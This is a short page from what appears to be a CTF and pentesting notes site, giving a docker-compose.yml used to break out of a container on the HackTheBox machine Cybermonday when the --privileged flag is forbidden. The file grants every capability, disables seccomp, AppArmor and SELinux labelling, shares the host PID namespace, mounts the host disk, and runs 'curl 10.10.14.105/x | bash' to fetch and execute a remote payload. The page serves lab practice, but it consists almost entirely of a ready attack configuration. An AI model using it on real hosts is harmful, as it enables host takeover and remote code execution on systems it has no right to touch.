> For the complete documentation index, see [llms.txt](https://pwnsec-notes.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pwnsec-notes.gitbook.io/ctf-notes/network-pentesting/docker.md).

# Docker

## Mounts

* docker-compose.yml

```yaml
# when --privileged flag is forbidden (Cybermonday.htb)
version: "3"
services:
  meow:
    build: /dev/shm  # Place Dockerfile in this Dir
    cap_add:
      - ALL
    security_opt:
      - "seccomp=unconfined"
      - "apparmor=unconfined"
      - "label:disable"
    pid: host
    devices:
      - "/dev/sda1:/dev/sda1"
    command: bash -c "curl 10.10.14.105/x | bash"
```